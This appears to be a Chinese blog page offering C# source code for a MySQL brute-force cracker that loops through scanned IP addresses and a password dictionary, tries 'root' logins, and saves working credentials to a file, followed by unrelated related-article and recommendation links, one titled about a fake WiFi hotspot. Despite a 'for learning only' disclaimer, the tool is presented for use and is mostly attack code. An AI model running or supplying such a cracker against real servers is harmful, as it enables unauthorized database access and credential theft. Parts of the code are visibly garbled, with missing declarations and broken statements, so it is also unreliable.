C#Mysql数据库爆破源码
声明: 代码仅供学习参考使用!开启了一个子线程,进行爆破!
速度不是很快,代码不是很规范,希望大牛不要喷我!
c#控制台程序,需要引用MySql.Data.dll
默认用户名: root
密码字典: pass.txt
扫描好的ip: ip.txt
用法:
for /f "eol= tokens=1 delims= " %%i in (ip.txt) do call 程序名称 %%i
或者
程序名称 目标地址
using System; using System.Collections.Generic; using System.Text; using System.IO; using System.Threading; using System.Data; using MySql.Data.MySqlClient; using System.Diagnostics; using System.Net.Sockets; /************************************** 时间:2015年12月24日19:07:50 作者: 小手一抖 谨记: 源码仅供学习。 ***************************************/ namespace Reaps { class Program { static string pwdPath; static string[] fs; ; ; static string user = "root"; private static void Connect(string ip, string user, string password) { string connSting = string.Concat(new string[] { "Server=", ip, ";UserId=", user, ";Password=", password, ";Database=mysql;", "Connection Timeout=30", }); using (MySqlConnection conn = new MySqlConnection(connSting)) { try { conn.Open(); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("[Yes] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password); Console.ForegroundColor = ConsoleColor.White; string path = Environment.CurrentDirectory + @"\good.txt"; using (StreamWriter su = new StreamWriter(path, true, Encoding.Default)) { su.WriteLine(ip + " " + user + " " + password); } } catch (Exception) { Console.ForegroundColor = ConsoleColor.White; Console.WriteLine("[No] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password); } } } /// <summary> /// 检测端口开放 /// </summary> /// <param name="ip">地址</param> /// <param name="port">端口</param> /// <returns></returns> private static bool IsPortOpen(string ip,int port) { try { new TcpClient(ip, port).GetStream(); return true; } catch (Exception) { return false; } } private static void CrackSql(string ip) { { while (true) { int temp = index++; if (index > fs.Length) { break; } if (IsPortOpen(ip, dbPort)) { Connect(ip, user, fs[temp]); } else { break; } } } } static void Main(string[] args) { try { pwdPath = Environment.CurrentDirectory + @"\pass.txt"; fs = File.ReadAllLines(pwdPath, Encoding.Default); Console.WriteLine("[+] 版本 2015122"); Console.WriteLine("[+] 加载数据成功"); ) { Console.WriteLine("[+] 密码不能为0条"); Thread.Sleep(); Environment.Exit(); } Console.WriteLine("[+] 密 码:{0} 条", fs.Length); Thread th = ])); th.Start(); } catch (Exception ex) { Console.WriteLine("[+] 加载数据失败"); Console.WriteLine("[+] " + ex.Message.ToString()); Thread.Sleep(); Environment.Exit(); } } } }
C#Mysql数据库爆破源码的更多相关文章
- PHP批量替换MySql数据库中的数据内容(替换MySql数据库内容源码)
PHP批量替换MySql数据库内容 UTF-8 1.0版 <?php //声明 //1.本源码开发意图:作者在使用一些CMS建站的时候发现很多CMS把网址写入到数据库了,如果换网址,那么就需要更 ...
- linux下MySQL 5.6源码安装
linux下MySQL 5.6源码安装 1.下载:当前mysql版本到了5.6.20 http://dev.mysql.com/downloads/mysql 选择Source Code 2.必要软件 ...
- MySQL 5.7 源码中的目录结构
MySQl Server的源码可以直接去Github浏览. 这里我们选择5.7版本的:https://github.com/mysql/mysql-server/tree/5.7 也可以通过: git ...
- 时序数据库 Apache-IoTDB 源码解析之系统架构(二)
上一章聊到时序数据是什么样,物联网行业中的时序数据的特点:存量数据大.新增数据多(采集频率高.设备量多).详情请见: 时序数据库 Apache-IoTDB 源码解析之前言(一) 打一波广告,欢迎大家访 ...
- (3.1)mysql基础深入——mysql二进制与源码目录结构介绍
(3.1)mysql基础深入——mysql二进制与源码目录结构介绍 关键字:二进制目录结构,源码目录结构(编译安装目录结构) 1.二进制安装程序目录结构 [1] BIN -- mysql的可执行文件( ...
- Linux 中mysql安装(源码安装方式)
本文是介绍以源码安装的方式编译和安装Mysql 5.6(可以指定安装路径),也可以不采用源码安装方式,直接用安装包的方式. 源码安装方式慎用,容易报错. 1.卸载旧版本 rpm -qa | grep ...
- 时序数据库 Apache-IoTDB 源码解析之文件数据块(四)
上一章聊到行式存储.列式存储的基本概念,并介绍了 TsFile 是如何存储数据以及基本概念.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三) 打一波广告,欢迎大家访问Io ...
- 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三)
上一章聊到在车联网或物联网中对数据库的需求,以及 IoTDB 的整体架构,详情请见: 时序数据库 Apache-IoTDB 源码解析之系统架构(二) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 ...
- 时序数据库 Apache-IoTDB 源码解析之文件索引块(五)
上一章聊到 TsFile 的文件组成,以及数据块的详细介绍.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件数据块(四) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 Star. ...
随机推荐
- 『邪恶のWIFI』搭建假冒WIFI热点等女神来蹭网啊 - -。
pic by baidu 0x 00 ╮(╯▽╰)╭ 请喊我万恶的标题党 哈哈哈哈哈 0x 01 这里正题 虚拟机(Kali)不支持内置网卡,还好我有神器,插上我的RT8187L,开始搞起 参考资料 ...
- Android 常用对话框Dialog封装
Android 6种 常用对话框Dialog封装 包括: 消息对话框.警示(含确认.取消)对话框.单选对话框. 复选对话框.列表对话框.自定义视图(含确认.取消)对话框 分别如下图所示: ...
- C++实现发送HTTP请求
#include <stdio.h>#include <windows.h>#include <wininet.h> #define MAXSIZE 1024#pr ...
- head,tail,cat,more,less
tail FILE -n 4,查看文件最后4行内容head FILE -n 10,查看文件最前4行内容 使用cat more less都可以查看文本内容,但是它们三者有什么区别呢?more和less的 ...
- vijos国庆节模拟赛之繁星春水
A.闪烁的繁星 题目:https://vijos.org/p/1881 题解:貌似做过小白逛公园或者序列操作都可以秒出吧,就是pushup函数比较麻烦,不过仔细想一想就知道了. 代码: #includ ...
- android 各种xml的作用
1.arrays.xml 定义数组 <resources> <string-array name="proxy_types"> <item&g ...
- Xshell远程连接Ubuntu
在Ubuntu系统下执行命令: sudo apt-get install openssh-server 然后,在Xshell中新建会话,输入Ubuntu系统的IP,以及用户名.密码. 但是经常会出现连 ...
- animate.min.css 动画样式移动端存在的问题
使用animate.min.css可以使用很多动画效果,包括3D效果,现在也可以应用于HTML5手机移动端,使用切换效果的时候会导致页面出现卡顿现象,可以使用css3 transform 方法硬件加速 ...
- java中jvm的工作原理
首先我们安装了jdk和jre,但是jdk是为java软件开发工程师而使用的开发工具,我们运行java项目只要含有jre文件即可.对于jvm是内存分配的一块区域,我们知道,当我们开始使用java命令时, ...
- lesson6:jmeter和badboy配合使用
由于jmeter不支持脚本的录制,只能手动设置,在某些集成型的压力测试时,使用不是很方便,这时可以和badboy一起配合使用,badboy支持网页操作的录制功能,并能把录制的操作导出为jmeter的脚 ...